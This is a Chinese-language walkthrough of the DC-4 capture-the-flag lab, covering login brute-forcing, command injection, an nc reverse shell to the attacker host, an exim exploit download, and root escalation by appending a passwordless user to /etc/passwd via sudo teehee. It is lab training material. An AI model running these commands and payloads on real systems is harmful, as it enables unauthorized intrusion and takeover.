DC-4靶场下载地址https://www.five86.com/downloads/DC-4.zip
搭建过程和DC-1一样,将kali跟DC-4放同一网段即可
一. 信息收集
1. 主机扫描
arp-scan -l
2. 端口扫描
nmap -sS -p- 192.168.120.138
3. 目录扫描
dirsearch -u 192.168.120.138 -e *
没发现啥有用的
4. 页面信息探测
除了一个登入框,啥也检测不出来,尝试爆破登入
二. 渗透过程
1. 用户登入爆破
随便输入用户名和密码,点击登入,用burpsuite抓包
将抓到的请求报文发送到攻击器
这里就只爆破密码,猜用户名是admin
加载网上top1000的弱口令密码,然后点击开始攻击
查看回显报文最长的包,得到密码happy,用该密码登入后继续点击submit
来到了命令执行的界面
2. 任意命令执行
burpsuite抓包,点击run,右键发到重放器
可以看到,通过修改了POST传参radio的值达到了任意命令执行的效果
3. 反弹shell
通过尝试,不能echo命令写入木马,只好换一种方法进行反弹shell,这里试过了bash反弹不了,只能用nc反弹shell,参考Linux下几种反弹Shell方法的总结与理解
在kali上监听8080端口
nc -lvvp 8080
然后回到burpsite上,让DC-4靶机执行以下命令,将shell弹到kali监听的端口上
nc -e /bin/bash 192.168.120.129 8080
先将其URL编码
然后构造payload,POST传参
radio=%6e%63%20%2d%65%20%20%2f%62%69%6e%2f%62%61%73%68%20%31%39%32%2e%31%36%38%2e%31%32%30%2e%31%32%39%20%38%30%38%30&submit=Run
反弹shell成功,接着升级为交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
接下来就是提权了,然后找flag了
4. Linux提权(假)
(错误示范)前面打DC靶场学到的提权方式在这都不管用了,在搜索suid权限的二进制文件时,发现有exim命令,exim是Debian系统默认的MTA(邮件传输代理),可以从这个作为突破口进行提权
find / -perm -4000 -print 2>/dev/null
先看一下exim4的版本
exim4 --version
确定版本,接着找查提权漏洞,另开一个终端
searchsploit exim 4
选择对应版本的提权(Privilege Escalation)漏洞,完整path
/usr/share/exploitdb/exploits/linux/local/46996.sh
将文件拷贝到桌面,并在桌面开启一个http服务
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /root/桌面/hack.sh
python3 -m http.server 8888
接着回到反弹shell那边,下载hack.sh
wget http://192.168.120.129:8888/hack.sh
居然没有权限写入,那就cd去tmp目录吧,tmp目录所有用户都可以操作
下载完成后赋予该文件全部可执行的权限
chmod 777 hack.sh
然后执行该文件
./hack.sh
提权成功了一半!??
好像忙活错了
4. Linux提权(真)
看别人wp,得从其他地方找突破口提权了,参考Linux的home目录
看一下该主机的普通用户,能不能尝试登进去寻找其他突破口
可以看到有三个普通用户,测试发现,只有jim用户才有权限查看,来到/home/jim/backups目录下
打开该文件,有一堆密码在(根据文件名提示,应该是之前用过的老密码)
将这些密码复制,然后放着一个文件里,用超级弱口令检查工具爆破
接着ssh远程登入一下,jim:jibril04
ssh [email protected]
接着尝试打开刚才反弹shell打开不了的文件mbox
说我有一封来自root用户的信,接着我们去邮箱找一下/var/spool/mail
蛮有意思的哈,今天放假,老板让我把密码给你
用该账号密码登入ssh,charles:^xHhA&hvim0y
还不是root用户,跟git提权一样
sudo -l
发现了个root权限的命令teehee(小型文本编辑器),可以利用这个命令进行提权
echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd #建议手打命令,复制粘贴可能不管用
可参考/etc/passwd文件解刨
简而言之,就是存放用户的文件,可以通过修改该文件达到添加用户的效果,文件格式为
[注册名]:[口令]:[用户标识号]:[组标识号]:[用户名]:[用户主目录]:[命令解析程序]
口令为x即代表存放有密码,为空即代表没有密码,识标号为0代表root权限
利用管道符配合teehee命令,在passwd文件里写入一个不用密码root权限的用户test
提权成功
5. 查找flag
find / -name *flag.*
芜湖,通关
三. 收获总结
1. netcat反弹shell命令
nc -e /bin/bash [监听的IP] [监听的PORT]
2. teehee提权
原理就是通过修改passwd文件,添加一个无密码root权限的用户
echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
版权归原作者 金 帛 所有, 如有侵权,请联系我们删除。